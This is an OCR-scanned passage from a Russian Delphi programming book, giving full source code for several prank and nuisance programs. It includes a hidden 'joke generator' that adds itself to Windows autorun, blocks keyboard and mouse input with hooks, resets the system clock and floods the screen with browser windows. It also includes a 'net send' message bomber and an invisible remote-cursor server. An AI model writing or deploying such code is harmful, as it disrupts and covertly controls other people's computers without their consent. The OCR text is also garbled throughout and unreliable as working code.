//Помещаем в буфер обмена свой текст}Clipboard.asText := 'Буфер обмена временно не работает!
128 Генератор шуток
j ClipBoard.Close; //закрываем буфер обмена
Для работы с буфером обмена необходимо добавить в раздел useссылку на модуль c l i p b r d .
Шутка №5 — назначение фона для Рабочего стола
Пятая шутка будет делать копию экрана, сохранять этот рисунок, азатем назначать его в качестве фона для Рабочего стола. Вначале в раз-деле implementation напишем процедуру SetWallpaper, которая бу-
procedure SetWallpaper(sWallpaperBMPPath: String;bTile: boolean );
beginreg := TRegistry.Create;reg.RootKey := hkey_current_user;if reg.OpenKey('Control Panel\Desktop', True)then reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ
содержащий путь к bmp-файлу }//растянуть рисунок на весь экранreg.WriteString('TileWallpaper', Ч
1 );
with reg dobegin
WriteString('Wallpaper', sWallpaperBMPPath );
if bTile thenbeginWriteString('TileWallpaper', '1' );
endelse begin
WriteString('TileWallpaper', '0' ) ;end;
end;reg.Free;SystemParametersInfo(SPI_SETDESKWALLPAPER, 0, Nil,
SPIF_SENDWININICHANGE );end;
Информацию о фоновом рисунке Рабочего стола можно найтив реестре в ветке HKEY_CURRENT_USER по пути \Control Panel\Desktop. Параметр, содержащий название рисунка, называется wal l-paper. То есть, для того чтобы сменить "обои" нам необходимо изме-нить значение параметра wallpaper и оповестить систему о том, чтобыли внесены изменения в реестр. Последняя строка самая важная —она обновляет системные настройки.
Разработка программного кода 129
Функция SystemParametersInfo имеет следующие параметры:• действие, которое необходимо выполнить (в нашем случае
SPi_SETDESKWALLPAPER — установка обоев);• зависит от значения первого параметра;• в нашем случае — путь к файлу с рисунком;• в последнем параметре указывается, что необходимо сделать по-
сле выполнения всех действий. В данном случае мы должны об-новить настройки системы — для этого выбираемSPIFSENDWININICHANGE.
^ в и д :
ВМР1 := Graphics.TBitmap.Create;//задаем размеры рисунка такие же, как размеры экранаВМР1.Height := Screen.Height;ВМР1.Width := Screen.Width;DC1 := GetDC(O);//Делаем копию экранаBitBlt(BMPl.Canvas.Handle, 0, 0, Screen.Width,
Screen.Height, DC1, 0, 0, SRCCOPY);Forml.Visible := True; //восстанавливаем окно нашей программыImagel := TImage.Create(nil);BMP1.IgnorePalette := True;Imagel.Picture.Assign(BMP1);BMP1.SaveToFile('с:\1.bmp'); //сохраняем снимок в файл l.bmpSetWallpaper('с:\1.bmp', False ); //назначаем снимок, как фонRepaint; //обновляем
Здесь мы делаем копию экрана, сохраняем ее в файл и, вызываяпроцедуру SetWallPaper, назначаем в качестве фона Рабочего стола.
Шутка №6 — выбор фона случайным образом
Раз уж мы написали процедуру, которая устанавливает фоновыйрисунок, почему бы не использовать ее в нашей следующей шутке?Шестая шутка будет заключаться в том, чтобы выбрать случайным об-разом рисунок из каталога Windows и сделать его фоновым:endval := Random(10) + 5; //для случайности выбора рисунка
//ищем все файлы с расширением *.bmp в каталоге Windows
Finds := FindFirst('С:\Windows\*.bmp1, faAnyFile, f n ) ;
Finds := Random(2); //случайное число, 0 или 1
//если выпала 1, то устанавливаем первый попавшийся рисунок
if Finds = 1 then SetWallpaper(fn.Name, False ) ;
if Finds = 0 then
begin //иначе...
for i:=1 to endval do
9 — 5-1212
130 Генератор шуток
beginFinds := FindNext(fn); // ...ищем другие рисунки//выбираем любой другой рисунок и делаем его фоновымif i = endval - 3 then SetWallpaper(fn.Name, False);
end;end;FindClose(fn); //завершаем поиск
Здесь мы перебираем все рисунки в каталоге Windows и случайнымобразом выбираем один из них в качестве фонового. Затем мы устанав-ливаем фон с помощью ранее созданной процедуры SetWallpaper.
Шутка №7 — выключение монитора
Седьмая шутка будет выключать монитор. Для этого достаточнонаписать одну строку кода:SendMessage(Application.Handle, WM_SYSCOMMAND,
SC MONITORPOWER, 1);
Шутка №8 — сообщение об ошибке, содержащее "мусор"
Восьмая шутка будет выводить сообщение об ошибке, но не про-стое, а содержащее огромное количество случайных чисел. Код этойшутки|for i:=l to 200 dobegin
case i of//после каждого 25-го числа - перенос на новую строку25,50,75,100,125,150,175,199: err_str := err_str+#13#10;
end;
//текст "ошибки"err_str := err_str + IntToStr(Random(99999));
end;MessageDlg(err str, mtError, [mbOk], 0); //выводим сообщение
В цикле от 1 до 200 выбирается случайное число от 0 до 99999. Всечисла преобразовываются к символьному виду и добавляются к строко-вой переменной e r r s t r . На каждом 25-м числе происходит переносстроки. В результате выдается примерно такое сообщение об "ошибке"как на рис. 14.1.
Полный исходный код модуля 131
79090611493386922201256626?50l2lS14143S8702680664lS21lS347882807?36S%84349391373487S4l9431822383?;:.:4 " J i. м;Л4Й4Ь243827664873856402906ЭШ196184 3087453218447?6S363737693373022673S610996S49882003454835%762614?416t5i43c.S025o54S66209S5080S6S0831%0898S6959W71629239e5460523«5977727960033932914S919!02039630832649U994092721096109?S87437392B842;;08892842a7582Q745823307633955726149399599688364066373152439022040603704767271849852356796146990262965438631474192769091141347254436372179674861069S287696742592463347293256S3738??1S8246?65601543234 2931619914048214765744 7961583233193107556578227512393! 139289978335279254460045148187601648692205292211267641364207620730920898166832992798583694591925067672593287771182234836233035604836799035368907810573112715U46342972S031316580022524839f206S38ie91213217892714563818S905931?ei 8863517479129226951563027380467309SU45S64I • • : •• '
Рис. 14.1. Сообщение об "ошибке"
Шутка №9 — открытие браузера Internet Explorer
В девятой шутке мы будем открывать несколько (от 5 до 15) оконбраузера Internet Explorer с попыткой зайти на сайт wwv;. h e e l . nm. ru.Код этой шутки:for i:=l to Random(10) + 5 do //случайное число от 5 до 15
ShellExecute(0, 'open','C:\Program Files\lnternet Explorer\' +1IEXPLOKE.EXE', 'www.heel.nm.ru
1, 0,
SW MAXIMIZE);
Чтобы использовать функцию ShellExecute, необходимо доба-вить в раздел uses ссылку на модуль ShellApi.
Шутка №10 — сброс системной даты/времени
Последняя, десятая шутка будет устанавливать текущую дату01.01.2000, и изменять текущее время на 00:00:01. Код этой шутки:GetLocalTime(tm); //узнаем текущую дату и времяtm.wYear := 2000; //устанавливаем год
tm.wMonth := 01; //месяцtm.wDay := 01; //деньtm.wHour := 0; //часыtm.wMinute := 0; //минутыtm.wSecond := 1; //секунды
I tm.wMilliseconds := 0; //мсI SetLocalTime(tin); //устанавливаем новую дату и время1_
Полный исходный код модуляПолный код программного модуля генератора шуток представлен
в листинге 14.1.
132 Генератор шуток
Листинг 14.1, Программный модуль генератора шуток
unit Unitl;
interface
usesWindows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, ExtCtrls, Registry, clipbrd,ShellApi;
typeTForml = class(TForm)
Timerl: TTimer;procedure TimerlTimer(Sender: TObject);procedure FormPaint(Sender: TObject);procedure FormCreate(Sender: TObject);
private{ Private declarations }
public
{ Public declarations }end;
varForml: TForml;//для отключения мыши и клавиатурыDummy: integer • 0;OldKbHook: HHook = 0;//для снятия копии экрана
ВМР1: Graphics.TBitmap;'DC1: HDC;Imagel: TImage;// для поиска случайного рисункаfn:TSearchRec;Finds: integer;i: integer;endval: integer;err_str: string; //вывод ошибки
tm: TsystemTime; //изменение времениreg: Tregistry; //для работы с реестром
JokeNum: shortint; //номер прикола, который нужно выполнитьcurs: TRect; //координаты прямоугольника
implementation
procedure SetWallpaper(sWallpaperBMPPath: String;bTile: boolean );
Полный исходный код модуля 133
Листинг 14.1. Продолжение
beginreg := TRegistry.Create;reg.RootKey :- hkey_current_user;if reg.OpenKey('Control Panel\Desktop', True)then reg.WriteString('Wallpaper', sWallpaperBMPPath); {ключ
содержащий путь к bmp-файлу }//растянуть рисунок на весь экранreg.WriteString('TileWallpaper' , '1' ) ;with reg dobegin
WriteString('Wallpaper', sWallpaperBMPPath );
if bTile then
beginWriteString('TileWallpaper', '1' );
endelse begin
WriteString('TileWallpaper', '0' );end ;
end;
reg.Free;SystemParametersInfо(SPI_SETDESKWALLPAPER, 0, Nil,
SPIF_SENDWININICHANGE );end;
function KbHook(code: Integer; wparam: Word;
lparam: Longlnt): Longlnt; stdcall;
begin
if code < 0 then
Result := CallNextHookEx(oldKbHook, code, wparam, lparam)
else
Result := 1 ;
end;
{$R *.dfm}
procedure TForml.TimerlTimer(Sender: TObject);var
JokeNum: shortint;curs: TRect;
begin
JokeNum := Random(10) + 1;case JokeNum of
1: begin //Уменьшить диапазон движения мыши
curs := Rect(0,0,Screen.Width div 2,Screen.Height);ClipCursor(Scurs);
134 Генератор шуток
Листинг 14.1. Продолжение
end;begin //Отключить мышь
SystemParametersInfo(SPI_SETFASTTASKSWITOH, 1,@ Dummy, 0) ;
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1,@Dummy, 0);
OldKbHook := SetWindowsHookEx(WH_mouse, @KbHook,HInstance, 0);
end;begin //отключить клавиатуру
SystemParametersInfo(SPI_SETFASTTASKSWITCH, 1,@Dummy, 0);
SystemParametersInfo(SPI_SCREENSAVERRUNNING, 1,@Dummy, 0);
OldKbHook := SetWindowsHookEx(WH_KEYBOARD, @KbHook,HInstance, 0);
end;begin //Очистить буфер обмена
ClipBoard.Open; //открываем буфер обменаClipBoard.Clear; //очищаем буфер обмена//Помещаем в буфер обмена свой текстClipboard.asText :=
'Буфер обмена временно не работает!';ClipBoard.Close; //закрываем буфер обмена
end;begin //Сделать копию экрана и назначить ее фоном
ВМР1 := Graphics.TBitmap.Create;//задаем размеры рисунка как размеры экранаВМР1.Height := Screen.Height;ВМР1.Width := Screen.Width;DC1 := GetDC(O);//Делаем копию экранаBitBlt(BMP1.Canvas.Handle, 0, 0, Screen.Width,
Screen.Height, DC1, 0, 0, SRCCOPY);
//восстанавливаем окно нашей программыForml.Visible := True;
Imagel := TImage.Create(nil) ;BMP1.IgnorePalette := True;Imagel.Picture.Assign(BMPl);//сохраняем копию экрана в файл l.bmp на диске С:\BMPl.SaveToFile('с:\l.bmp');//установим сделанный снимок как фонSetWallpaper('с:\1.bmp', False);Repaint; //обновляем
end;
Полный исходный код модуля 135
Листинг 14.1. Продолжениеj II.. I I •'"• » I
6: begin //Найти случайный рисунок и сделать его фоновымendval := Random(lO) + 5; //случайный выбор рисунка//ищем все файлы *.bmp в каталоге WindowsFinds := FindFirst('С:\Windows\*.bmp',faAnyFile,fn);Finds := Random(2); //случайное число, 0 или 1//если 1, то устанавливаем первый попавшийся рисунокif Finds = 1 then SetWallpaper(fn.Name, False);if finds=0 thenbegin //иначе...
for i:=l to endval dobegin
Finds := FindNext(fn); // ...ищем другие рисунки//выбираем любой другой рисунок и делаем его фоновым
if i=endval-3 then SetWallpaper(fn.Name, False);end;
end;
FindClose(fn); //завершаем поискend;
7: begin //Выключить монитор
SendMessage(Application.Handle, WM__SYSCOMMAND,SC_MONITORPOWER, 1);
end;
8: begin //Сообщение об "ошибке"for i:=l to 200 dobegin
//после каждого 25-го числа - перенос строкиcase i of
25,50,75,100,125,150,175,199: err_str := err_str + #13#10;
end;//текст "ошибки"err_str := err_str + IntToStr(random!99999));
end;MessageDlg (err_str, mtError, "• [mbOk] , 0); //сообщение
end;
9: begin //Запуск Internet Explorerfor i:=l to Random(lO) + 5 doShellExecute(0, 'open',
'C:\Program FilesMnternet Explorer\' +1IEXPLORE.EXE', 'www.heel.nm.ru',0, SW_MAXIMIZE) ;
end;10: begin //Перевести время
GetLocalTime(tm); //узнаем текущую дату и времяtm.wYear := 2000; //устанавливаем годtm.wMonth := 01; //месяц
136 Генератор шуток
Листинг 14.1. Окончание
tm.wDay := 01; //деньtm.wHour : = 0; //часыtm.wMinute : = 0; //минутыtm.wSecond := 1; //секундыtm.wMilliseconds : = 0; //мсSetLocalTime(tm); //устанавливаем новую дату и время
end;end;
; end;
procedure TForml.FormPaint(Sender: TObject);• begin; Forml.hide; //прячем форму
end;
procedure TForml.FormCreate(Sender: TObject);var
reg: TRegistry; //переменная для работы с реестромpath: string; //содержит путь к нашей программе
begin
Randomize; //генератор случайных чисел//узнаем путь к программе и ее имяpath : = Application.EXEname;
reg := TRegistry.Create; //открываем реестр//ветка текущего пользователяreg.RootKey : = HKEY_CURRENT_USER;//открываем раздел автозагрузки
if reg.OpenKey('\Software\Microsoft\Windows\' +'CurrentVersion\Run', True)
then begin
//записываем ссылку на нашу программу в автозагрузкуreg.WriteString ('Joker', path);reg.CloseKey; //закрываем реестрreg.Free; //освобождаем память
end;end;
end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке Chapter__14.
Постановка задачи 137
Глава 15
Отправка сообщении в локальной
Постановка задачиРазработать программу, которая будет предоставлять интерфейс для
использования стандартной для Win2000/XP команды передачи сооб-щений net send. Дать возможность указать пользователю адрес полу-чателя, текст сообщения и количество отправляемых сообщений. Такжепредусмотреть возможность установки блокировки на получение сооб-щений от других компьютеров.
Разработка формыСоздайте новый проект Delphi. Измените заголовок формы (свойст-
во Caption) на Net Sender. Разместите вдоль левого края формы одиннад другим три компонента Label категории Standard и присвойте ихсвойству Caption значения IP-адрес:, Сообщение: И Количество:.
Рядом с каждой из меток разместите по компоненту Edit категорииStandard. Самый верхний назовите ip (свойство Name), а свойству Textприсвойте значение 192 .168 . О . 1.; среднее поле назовите txt, а свой-ству Text присвойте какой-либо текст сообщения по умолчанию; самоенижнее поле назовите how, а свойству Text присвойте значение 1.
Под перечисленными компонентами разместите компонент Check-box категории Standard. Присвойте ему имя secure, свойству Captionприсвойте значение Отключить прием сообщений, а свойствуChecked — значение True.
В самом низу формы разместите кнопку (компонент Button кате-гории Standard), присвоив ее свойству Caption значение Send. Такженам понадобится таймер (компонент Timer категории System), для ко-торого свойству I n t e r v a l следует присвоить значение 10.
Полученная форма должна соответствовать рис. 15.1.
138 Отправка сообщений в локальной сети
ШNet sender
IP-адрес:; 3i92.168О
Сообщение: jSmS
Количество:; 1W Отключить прием сообщений
Send
Рис. 15.1. Форма для программы отправки сообщений в локальной сети
Разработка программного кодаПрежде всего напишем собственную процедуру bomb, которая бу-
дет считывать все настройки и отправлять сообщение. Объявите этупроцедуру K^^aKpjbmiHj4JieH класса формы: __ _ _] type
TForml = class(TForm)
private{ Private declarations }procedure bomb();
public{ Public declarations }
i end;
п е £ 5 м е н н а я i
т и п а integer:
I varI Forml: TForml;
i: integer;
Теперь создадим реализацию процедуры bomb в разделе implemen-tation: ...
;. : ,,..
procedure TForml.bomb();
begin
//проверяем, не пустое ли текстовое сообщениеif txt.Text = '' then txt.Text := '!';
//если количество не указано, то отправляем одно сообщениеif how.Text = " then how.Text := Ч
1;
if ip.Text = '• then ip.Text := 427.0.0.1'; {если ip-адресне указан, то отправляем на локальный компьютер}
//отправляем указанное количество сообщенийfor i:=l to StrToInt(how.Text) do
Разработка программного кода 139
WinExec(PChar('net send ' + ip.Text + '"' + txt.Text +
'"') , 0) ; //отправка сообщенияI end; |
В этой процедуре выполняется проверка: все ли необходимые полязаполнены. Если нет текста сообщения, то устанавливаем знак "!"; еслине указан IP-адрес, то отправляем сообщение на локальный компьютер садресом 127.0.0.1; если не указано количество сообщений, то отправля-ем одно сообщение. Сообщения отправляются с помощью стандартнойкоманды net send, которая имеет следующий синтаксис:
net send ip-адрес сообщение.
^ ^
(procedure TForml.TimerITimer(Sender: TObject);var
h: HWND; //хранит идентификатор окна| begin
if not secure.Checked then //если флажок не установленTimerl.Enabled := False; //отключаем мониторинг
if secure.Checked then //если флажок установленbegin
//ищем окна с сообщениямиh := FindWindow(nil, 'Служба сообщений ' ) ;//закрываем все найденные окнаif h О О then PostMessage(h, WM_QUIT, 0, 0);
end;
end;
Если установлен флажок Отключить прием сообщений, то мы начи-наем мониторинг окон, заголовок которых говорит о том, что это — со-общение, и закрываем все найденные окна. Если флажок не установлен,то мониторинг отключается.
Для того чтобы можно было переключаться между этими двумя ре-жимами, необходимсисоздать 2бр_аботчик события s e c u r e . OnClick:procedure TForml.secureClick(Sender: TObject);begin
if secure.Checked then //если флажок установлен...Timerl.Enabled := True; II.. .включаем мониторинг
end;
При нажатии кнопки Send мы будем просто вызывать процедуруbomb:procedure TForml.ButtonlClick(Sender: TObject);begin
bomb;
140 Отправка сообщений в локальной сети
end;
Для того чтобы облегчить пользователю жизнь, сделаем так, чтобыотправка сообщения осуществлялась также по нажатии клавиши<Enter> в любом текстовом поле ввода. Для этого необходимо создатьобработчик события OnKeyPress для каждого из полей. Код этого об-работчика для поля ip, который затем можно назначить полям t x t иhow: _| procedure TForml.ipKeyPress(Sender: TObject; var Key: Char);! begin
if key = #13 then //если нажата клавиша <Enter>bomb; //отправка сообщения
• end;
Полный исходный код модуляПолный код модуля программы отправки сообщений по локальной
сети представлен в листинге 15.1.
Листинг 15.1. Модуль программы отправки сообщений по локальной сети
unit Unitl;
interface
uses
>
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, StdCtrls, ExtCtrls;
typeTForml - class(TForm)Buttonl: TButton;ip: TEdit;Label1: TLabel;Label2: TLabel;txt: TEdit;Label3: TLabel;how: TEdit;secure: TCheckBox;Timerl: TTimer;procedure TimerlTimer(Sender:procedure secureClick(Sender:procedure ipKeyPress(Sender:procedure txtKeyPress(Sender:procedure howKeyPress(Sender:procedure ButtonlClick(Sender
private
1j
|
1
i
1TObject);TObject);
TObject; var Key: Char);TObject; var Key: Char);TObject; var Key: Char);: TObject);
Полный исходный код модуля 141
Листинг 15.1. Продолжение
{ Private declarations }procedure bomb();
publicf Public declarations }
end;
varForml: TForml;i: integer;
j implementation
I ($R *.dfm}
procedure TForml.bomb();begin
//проверяем, не пустое ли текстовое сообщениеif txt.Text = '' then txt.Text := '!';//если количество не указано, то отправляем одно сообщениеif how.Text = '' then how.Text := '1';if ip.Text = '' then ip.Text := '127.0.0.1'; {если ip-адрес
не указан, то отправляем на локальный компьютер}//отправляем указанное количество сообщенийfor i:=l to StrToInt(how.Text) doWinExec (PChar('net send ' + ip.Text + '"' + txt.Text +
' " ' ) , 0); //отправка сообщения! end;{
! procedure TForml.TimerlTimer(Sender: TObject);var
h: HWND; //хранит идентификатор окнаbegin
if not secure.Checked then //если флажок не установленTimerl.Enabled := False; //отключаем мониторинг
if secure.Checked then //если флажок установленbegin
//ищем окна с сообщениямиh := FindWindow(nil, 'Служба сообщений ' ) ;//закрываем все найденные окнаif h о 0 then PostMessage(h, WM_QUIT, 0, 0);
end;end;
procedure TForml.secureClick(Sender: TObject);begin
142 Отправка сообщений в локальной сети
Листинг 15.1. Окончание
secure.CheckedTimerl.Enabled := True; //...включаем мониторинг
if secure.Checked then //если флажок установлен...
end;
procedure TForml.ipKeyPress(Sender: TObject; var Key: Char);begin
if key = #13 then //если нажата клавиша <Enter>bomb; //отправка сообщения
end;
procedure TForml.ButtonlClick(Sender: TObject);begin
bomb;end;
I end.
Все файлы проекта и исполняемый файл рассмотренной программы находятсяна прилагаемом к книге компакт-диске в папке C h a p t e r 15.
Постановка задачи 143
Глава 16
Удаленное управление указателеммыши
Постановка задачиРазработать программу, которая в точности повторяет на одном
компьютере все движения указателя мыши, сделанные на другом ком-пьютере. Компьютеры могут находиться как в локальной сети, так ив Internet.
На самом деле нам придется разработать две программы: первая(назовем ее "Клиент") будет получать координаты указателя на одномкомпьютере и отправлять их второй программе (назовем ее "Сервер"),которая будет принимать и изменять текущие координаты указателя наприсланные клиентом. Данный тип связи называется "клиент-сервер" идля его использования у нас есть все необходимые компоненты на стан-дартной палитре компонентов Delphi. У "клиента" будет форма с на-стройками, а "сервер" будет работать незаметно для пользователя. Сна-чала разработаем клиентскую программу.
Разработка клиентской программы
Разработка формы
Создайте новый проект Delphi. Присвойте свойству Caption фор-мы заголовок Remote Mouse. Разместите на форме компонент Labelкатегории Standard и присвойте его свойству Caption значение Port.Справа от эгой метки разместите компонент Edit категории Standard.Назовите его p o r t (свойство Name), а свойству Text присвойте значе-ние 2801.
Ниже разместите еще один компонент Label, присвоив его свойст-ву Caption значение IP. Справа от него разместите компонент Edit сименем ip и текстом 127 . 0 . 0 . 1 .
144 Удаленное управление указателем мыши
В самом низу формы разместите две кнопки (компоненты Buttonкатегории Standard), присвоив их свойству Caption значения Connectи Disconnect. Также нам понадобится компонент Timer категорииSystem. В свойствах таймера следует изменить значение свойства En-abled на False, а свойства I n t e r v a l — на 500 (что соответствует по-ловине секунды).
Разместите на форме самый важный компонент нашей програм-мы — Cl ientSocket категории Internet — и присвойте ему имя C l i e n t(свойство Name). Остальные свойства этого компоненты мы будем из-менять в самой программе.
Полученная форма должна соответствовать рис. 16.1.
Connect Disconnect
Рис. 16.1. Форма клиентской программы для удаленного управления указателем
Разработка программного кода
По нажатию кнопки Connect должны считываться все настройки ис_сервером: __
procedure TForml.ButtonlClick(Sender: TObject);begin
Client.Port := StrToInt(port.Text); //считываем портClient.Address := ip.Text; //считываем ip-адрес сервераClient.Active := True; //соединяемсяTimerl.Enabled := True; //включаем таймер
end ;
Сначала мы считываем все необходимые настройки, а затем пред-принимаем попытку соединиться с сервером. Если все нормально, товключаем таймер, по которому будут передаваться координаты указате-ля мыши.
Обработаем нажатие кнопки Disconnect: __i procedure TForml.Button2Click(Sender: TObject);I begin
Timerl.Enabled := False; //выключаем таймер
Разработка клиентской программы 145
Client.Close; //закрываем соединениеClient.Active := False; //отключаемся от сервера
end;
При нажатии кнопки Disconnect мы перестаем передавать координа-ты указателя на сервер и отсоединяемся от него.
Для того чтобы на сервере не возникало ошибок при аварийном вы-ключении клиента, создайте обработчик события формы OnDestroy идобавьте в него следующий код:• procedure TForml.FormDestroy(Sender: TObject);; begin
Client.Close; //закрываем соединениеClient.Active := False; //отключаемся от сервера
end; !
При аварийном завершении программы закрывается соединение ивыполняется отключение от сервера.
Для уведомления пользователя об успешном соединении с серверомсоздайте обработчик события c l i e n t . OnConnect:procedure TForml.ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);begin
ShowMessage('Connected!'); //показать сообщениеend;
Для реализации аналогичного действия при отсоединении от серве-а, следует создать обработчик события OnPiaconnect:procedure TForml.ClientDisconnect(Sender: TObject;
Socket:' TCustomWinSocket);begin
ShowMessage('Disconnected!'); //сообщение при отсоединенииend;
; OnTimer для компонента Timer:
procedure TForml.TimerITimer(Sender: TObject);var
cur: TPoint; //хранит координаты указателя мышиbegin
GetCursorPos(cur); //узнаем координаты указателя мыши//отправляем данные на серверClient.Socket.SendText(IntToStr(cur.X) + '_' +
IntToStr(cur.Y));
end;
Каждые полсекунды мы будем получать координаты указателя мы-ши и отправлять их на сервер. Программа-клиент полностью готова.Теперь разработаем программу-сервер.10 — 5-1212
146 Удаленное управление указателем мыши
Разработка серверной программыСоздайте новый проект Delphi. Разместите на форме главный ком-
понент программы — ServerSocket категории Internet и измените зна-чение его свойства Port на 28 01.
Первым делом, обеспечим нашей форме невидимость. Создайте об-'аботчик co6j£THflj|)ojpj^^procedure TForml.FormPaint(Sender: TObject);begin
Forml.Hide;end;
Для того чтобы активизировать сервер при запуске программы, не-обходимо обработать событие формы OnCreate:procedure TForml.FormCreate(Sender: TObject);begin
ServerSocketl.Active := True; //активизировать серверend;
Для того чтобы при выходе из программы сервер отключался, необ-ходимо обработать событие формы OnDestroy:procedure TForml.FormDestroy(Sender: TObject);begin
ServerSocketl.Active := False; //отключаем серверend;
Теперь осталось только обработать событие OnClientRead компо-нента ServerSocket. Это событие будет происходить каждый раз, ко-гда будет поступать команда от клиента. Код обработчика этого собы-тия имеет следующий вид:procedure TForml.ServerSocketlClientRead(Sender: TObject;
Socket: TCustomWinSocket);I var
str, x, y: string; //полученный текст и координаты//указателя по X и по У
i, j: integer; //счетчики цикловbegin
//обнуляем координаты курсорах : = ' ' ;
Y : =str := Socket.ReceiveText; //полученный от клиента текстfor i:=l to Length(str) do
begin
if str[i] <> '_' then x := x + str[i]; //координаты по хif str[i] = '_' then Break; //разделитель между
Полный исходный код модулей 147
//координатами указателяend;
for j:=i+l to Length(str) do у:=y+str[j]; //координаты по у//устанавливаем новые координаты указателяSetCursorPos(StrToInt(x) , StrToInt (у)) ;
end;
При получении текста мы считываем в отдельные переменные зна-чение координат указателя по X и по Y. Затем изменяем координаты нате, которые только что получили от клиента.
Теперь программа полностью готова, и для того чтобы протестиро-вать ее, необходимо иметь хотя бы два компьютера, объединенныев локальную сеть или подключенные к Internet.
Полный исходный код модулейПолный код модуля серверной программы представлен
в листинге 16.1.
Листинг 16.1. Модуль серверной программы
unit Unitl;
interface
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, ScktComp;
typeTForml = class(TForm)
ServerSocketl: TServerSocket;procedure FormDestroy(Sender: TObject);procedure FormCreate(Sender: TObject);procedure ServerSocketlClientRead(Sender: TObject;
Socket: TCustomWinSocket);procedure FormPaint(Sender: TObject);
private
{ Private declarations }public
{ Public declarations }end;
varForml: TForml;
• implementation
10*
148 Удаленное управление указателем мыши
Листинг 16.1. Окончание
j" {$R * . dfm}
procedure TForml.FormDestroy(Sender: TObject);j begin
ServerSocketl.Active := False; //закрыть соединение| end;
{procedure TForml.FormCreate(Sender: TObject);! begin
ServerSocketl.Active := True; //активизировать серверend;
procedure TForml.ServerSocketlClientRead(Sender: TObject;Socket: TCustomWinSocket);
varstr, x, y: string; //полученный текст и координаты
//указателя по X и по Yi, j: integer; //счетчики циклов
begin//обнуляем координаты курсорах : = ' ' ;у := " ;str := Socket.ReceiveText; //полученный от клиента текстfor i:=l to Length(str) dobegin
if str[i] <> '_' then x : = x + str[i]; //координаты по хif str[i] = '_' then Break; //разделитель между
//координатами указателяend;for j:=i+l to Length(str) do y:=y+str[j]; //координаты по у |//устанавливаем новые координаты указателяSetCursorPos(StrToInt(x), StrToInt(y) ) ;
end;
procedure TForml.FormPaint(Sender: TObject);
beginForml.Hide;
end;
end.
Полный код модуля клиентской программы представленв листинге 16.2.
Полный исходный код модулей 149
Листинг 16.2. Модуль клиентской программы
| unit Unitl;
''. interface
Windows, Messages, SysUtils, Variants, Classes, Graphics,Controls, Forms, Dialogs, ScktComp, StdCtrls, ExtCtrls;
typeTForml = class(TForm)
Buttonl: TButton;Button2: TButton;Client: TClientSocket;Timer1: TTimer;port: TEdit;ip: TEdit;Label1: TLabel;Label2: TLabel;procedure Button2Click(Sender: TObject);procedure FormDestroy(Sender: TObject);procedure ButtonlClick(Sender: TObject);procedure TimerlTimer(Sender: TObject);procedure ClientConnect(Sender: TObject;
Socket: TCustomWinSocket);procedure ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);private
{ Private declarations }public
{ Public declarations }end;
var
Forml: TForml;
implementation
($R *.dfm}
procedure TForml.Button2Click(Sender: TObject);
beginEimerl.Enabled := False; //выключаем таймерClient.Close; //закрываем соединениеClient.Active := False; //отключаемся от сервера
end;
150 Удаленное управление указателем мыши
Листинг 16.2. Окончание
! procedure TForml.FormDestroy(Sender: TObject);begin
Client.Close;Client.Active := False;
end;
procedure TForml.ButtonlClick(Sender: TObject);
begin
Client.Port := StrToInt(port.Text); //считываем портClient.Address := ip.Text; //считываем ip-адрес сервераClient.Active := True; //соединяемсяtimerl.Enabled := True; //включаем таймер
end;
procedure TForml.TimerlTimer(Sender: TObject);var
cur: TPoint; //хранит координаты курсора мышиbegin
GetCursorPos(cur); //узнаем координаты указателя мыши//отправляем данные на сервер
Client.Socket.SendText(IntToStr(cur.X) + '_' +IntToStr(cur.Y));
end;
procedure TForml.ClientConnect(Sender: TObject;Socket: TCustomWinSocket);
begin//сообщение при соединении с серверомShowMessage('Connected!');
end;
procedure TForml.ClientDisconnect(Sender: TObject;
Socket: TCustomWinSocket);begin
//сообщение при отключении от сервераShowMessage('Disconnected! ' ) ;
end;
end.
Все файлы проекта и исполняемый файл клиентской программы находятся наприлагаемом к книге компакт-диске в папке C h a p t e r 1 6 \ C l i e n t , а файлыпроекта и исполняемый файл серверной программы — в папке Chap-t e r 1 6 \ S e r v e r .
Постановка задачи 151
Глава 17
Бесплатная отправка SMS черезInternet
Постановка задачиРазработать программу для бесплатной отправки SMS через
Internet. Осуществлять отправку через сайты популярных украинскихоператоров ("UMC", "Джине", "Киевстар"...)
Разработка формыДля того чтобы отправить SMS, необходимо знать номер телефона,
на который мы будем отправлять сообщение, оператора этого номера и,естественно, — само отправляемое сообщение.
Создайте новый проект Delphi и присвойте форме заголовок SMS-sender (свойство Caption),, Разместите на форме компонент Label ка-тегории Standard и присвойте его свойству Caption значение Опера-тор: . Справа от него разместите компонент ComboBox (раскрывающий-ся список) категории Standard и измените его свойства согласнотабл. 17.1.
Примечание
Свойство ComboBox. I t e m s — это список строк, редактируемый в специальномокне, которое открывается по двойному щелчку мышью в соответствующем полеинспектора объектов.
Таблица 17.1. Свойства компонента ComboBox
Свойство
Name
T e x t
I t e m s
Значение
o p e r
<Выберите о п е р а т о р а >
Джине (066)
UMC (050)
К и е в с т а р (067)
Пояснение
Новое имя компонента
Текст в поле
Перечень операторов, на кото-
рых мы будем отправлять SMS
152 Бесплатная отправка SMS через Internet
ПримечаниеВ данном примере используется перечень мобильных операторов, действующихна территории Украины. Если вы живете в другой стране, используйте собствен-ный список операторов.
Под первой меткой разместите еще один компонент Label, присво-ив его свойству Caption значение Номер:. Справа от него разместитекомпонент Edit категории Standard и назовите его t e l (свойство Name).
Ниже этих двух компонентов разместите компонент Label с тек-стом Сообщение: (свойство Caption). Под ним разместите компонентMemo категории Standard, присвоив ему имя sms. Для него можно поста-вить ограничение на ввод 160 символов, поскольку мобильные операто-ры обычно разрешают отправлять с Web-сайта сообщения длиной небольше 160 символов. Для того чтобы установить это ограничение, при-свойте свойству sms .MaxLength значение 160.
Для отображения количества символов, введенных в поле sms, раз-местите под memo-полем компонент Label и измените его свойства со-гласно табл. 17.2.
Таблица 17.2. Свойства компонента L a b e l для отображения длины сообщения
Свойство
Name
C a p t i o n
F o n t . C o l o r
F o n t . S i z e
Значение
k o l v o
0
c l R e d
18
Пояснение
Новое имя компонента
